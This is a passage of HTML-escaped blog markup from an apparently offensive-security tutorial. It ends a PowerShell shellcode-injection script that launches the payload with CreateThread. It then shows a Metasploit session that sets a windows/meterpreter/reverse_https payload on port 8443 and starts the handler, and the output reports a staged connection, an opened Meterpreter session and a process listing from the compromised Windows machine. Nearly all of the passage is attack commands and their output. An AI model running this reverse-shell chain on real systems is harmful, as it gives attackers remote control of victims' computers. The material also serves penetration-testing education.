$winFunc::CreateThread(0,0,$x,0,0,0)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum35&quot;&gt;  35:&lt;/span&gt;         sleep 100000&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum36&quot;&gt;  36:&lt;/span&gt;     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum37&quot;&gt;  37:&lt;/span&gt; Catch&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum38&quot;&gt;  38:&lt;/span&gt;  {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum39&quot;&gt;  39:&lt;/span&gt;   [system.exception]&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum40&quot;&gt;  40:&lt;/span&gt;   &quot;caught a system exception&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum41&quot;&gt;  41:&lt;/span&gt;  }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;set the metasploit server to handle requests for the payload:&lt;/p&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px&quot; id=&quot;codeSnippetWrapper&quot;&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot; id=&quot;codeSnippet&quot;&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum1&quot;&gt;   1:&lt;/span&gt; root@host:~/trunk# ./msfconsole &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum2&quot;&gt;   2:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum3&quot;&gt;   3:&lt;/span&gt; # cowsay++&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum4&quot;&gt;   4:&lt;/span&gt;  ____________&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum5&quot;&gt;   5:&lt;/span&gt; &lt;span style=&quot;color: #0000ff&quot;&gt;&amp;lt;&lt;/span&gt; metasploit &lt;span style=&quot;color: #0000ff&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum6&quot;&gt;   6:&lt;/span&gt;  ------------&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum7&quot;&gt;   7:&lt;/span&gt;        \   ,__,&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum8&quot;&gt;   8:&lt;/span&gt;         \  (oo)____&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum9&quot;&gt;   9:&lt;/span&gt;            (__)    )\&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum10&quot;&gt;  10:&lt;/span&gt;               ||--|| *&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum11&quot;&gt;  11:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum12&quot;&gt;  12:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum13&quot;&gt;  13:&lt;/span&gt;        =[ metasploit v4.3.0-dev [core:4.3 api:1.0]&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum14&quot;&gt;  14:&lt;/span&gt; + -- --=[ 821 exploits - 467 auxiliary - 141 post&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum15&quot;&gt;  15:&lt;/span&gt; + -- --=[ 250 payloads - 27 encoders - 8 nops&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum16&quot;&gt;  16:&lt;/span&gt;        =[ svn r15071 updated 6 days ago (2012.04.05)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum17&quot;&gt;  17:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum18&quot;&gt;  18:&lt;/span&gt; msf  exploit(handler) &lt;span style=&quot;color: #0000ff&quot;&gt;&amp;gt;&lt;/span&gt; set payload windows/meterpreter/reverse_https&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum19&quot;&gt;  19:&lt;/span&gt; payload =&lt;span style=&quot;color: #0000ff&quot;&gt;&amp;gt;&lt;/span&gt; windows/meterpreter/reverse_https&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum20&quot;&gt;  20:&lt;/span&gt; msf  exploit(handler) &lt;span style=&quot;color: #0000ff&quot;&gt;&amp;gt;&lt;/span&gt; set lport 8443&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum21&quot;&gt;  21:&lt;/span&gt; lport =&lt;span style=&quot;color: #0000ff&quot;&gt;&amp;gt;&lt;/span&gt; 8443&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum22&quot;&gt;  22:&lt;/span&gt; msf  exploit(handler) &lt;span style=&quot;color: #0000ff&quot;&gt;&amp;gt;&lt;/span&gt; exploit&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum23&quot;&gt;  23:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum24&quot;&gt;  24:&lt;/span&gt; [*] Started HTTPS reverse handler on https://178.32.xxx.xxx:8443/&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum25&quot;&gt;  25:&lt;/span&gt; [*] Starting the payload handler...&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum26&quot;&gt;  26:&lt;/span&gt; [*] 94.68.xxx.xxx:20718 Request received for /cQbF...&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum27&quot;&gt;  27:&lt;/span&gt; [*] 94.68.xxx.xxx:20718 Staging connection for target /cQbF received...&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum28&quot;&gt;  28:&lt;/span&gt; [*] Patched transport at offset 486516...&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum29&quot;&gt;  29:&lt;/span&gt; [*] Patched URL at offset 486248...&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum30&quot;&gt;  30:&lt;/span&gt; [*] Patched Expiration Timeout at offset 641856...&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum31&quot;&gt;  31:&lt;/span&gt; [*] Patched Communication Timeout at offset 641860...&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum32&quot;&gt;  32:&lt;/span&gt; [*] Meterpreter session 1 opened (178.32.xxx.xxx:8443 -&lt;span style=&quot;color: #0000ff&quot;&gt;&amp;gt;&lt;/span&gt; 94.68.xxx.xxx:20718) at Wed Apr 11 09:44:08 +0300 2012&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum33&quot;&gt;  33:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum34&quot;&gt;  34:&lt;/span&gt; meterpreter &lt;span style=&quot;color: #0000ff&quot;&gt;&amp;gt;&lt;/span&gt; ps&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum35&quot;&gt;  35:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum36&quot;&gt;  36:&lt;/span&gt; Process list&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum37&quot;&gt;  37:&lt;/span&gt; ============&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum38&quot;&gt;  38:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum39&quot;&gt;  39:&lt;/span&gt;  PID   Name                          Arch  Session  User         Path&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum40&quot;&gt;  40:&lt;/span&gt;  ---   ----                          ----  -------  ----         ----&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum41&quot;&gt;  41:&lt;/span&gt;  0     [System Process]                                          &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum42&quot;&gt;  42:&lt;/span&gt;  4     System                                                    &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum43&quot;&gt;  43:&lt;/span&gt;  276   smss.exe                                                  &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum44&quot;&gt;  44:&lt;/span&gt;  288   dwm.exe                       x86   1        Ghost\Dinos  C:\Windows\system32\Dwm.exe&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum45&quot;&gt;  45:&lt;/span&gt;  364   csrss.exe                                                 